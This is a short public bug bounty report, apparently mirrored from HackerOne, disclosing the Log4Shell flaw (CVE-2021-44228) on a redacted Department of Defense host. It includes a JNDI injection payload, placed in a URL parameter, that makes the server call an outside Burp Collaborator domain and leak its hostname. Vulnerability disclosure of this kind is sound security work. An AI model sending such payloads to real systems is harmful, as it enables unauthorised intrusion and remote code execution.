HexBrain

U.S. Dept Of Defense · Report #1624137

LOGJ4 VUlnerability [HtUS]

Validstatus
criticalseverity
$1,000bounty
94upvotes
18 Nov 2022disclosed

How it was found

Description: Hi team,

log4 shell is recent 0-day exploit it's Java package vulnerable. █████ is vulnerable

Impact

RCE

System Host(s)

██████

Affected Product(s) and Version(s)

CVE Numbers

CVE-2021-44228

Steps to Reproduce

  1. Go to this url => https://█████/?x=${jndi:ldap://${hostName}.uri.xxxxx.burpcollaborator.net/a}
  2. paste the poc code on parameter
  3. Then burp collaborator received reverse ping back Photos below

POC CODE ${jndi:ldap://${hostName}.uri.xxxxx.burpcollaborator.net/a}

Suggested Mitigation/Remediation Actions https://www.lunasec.io/docs/blog/log4j-zero-day/

Impact

Successful attack leads Arbitary Code Execution on the application

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original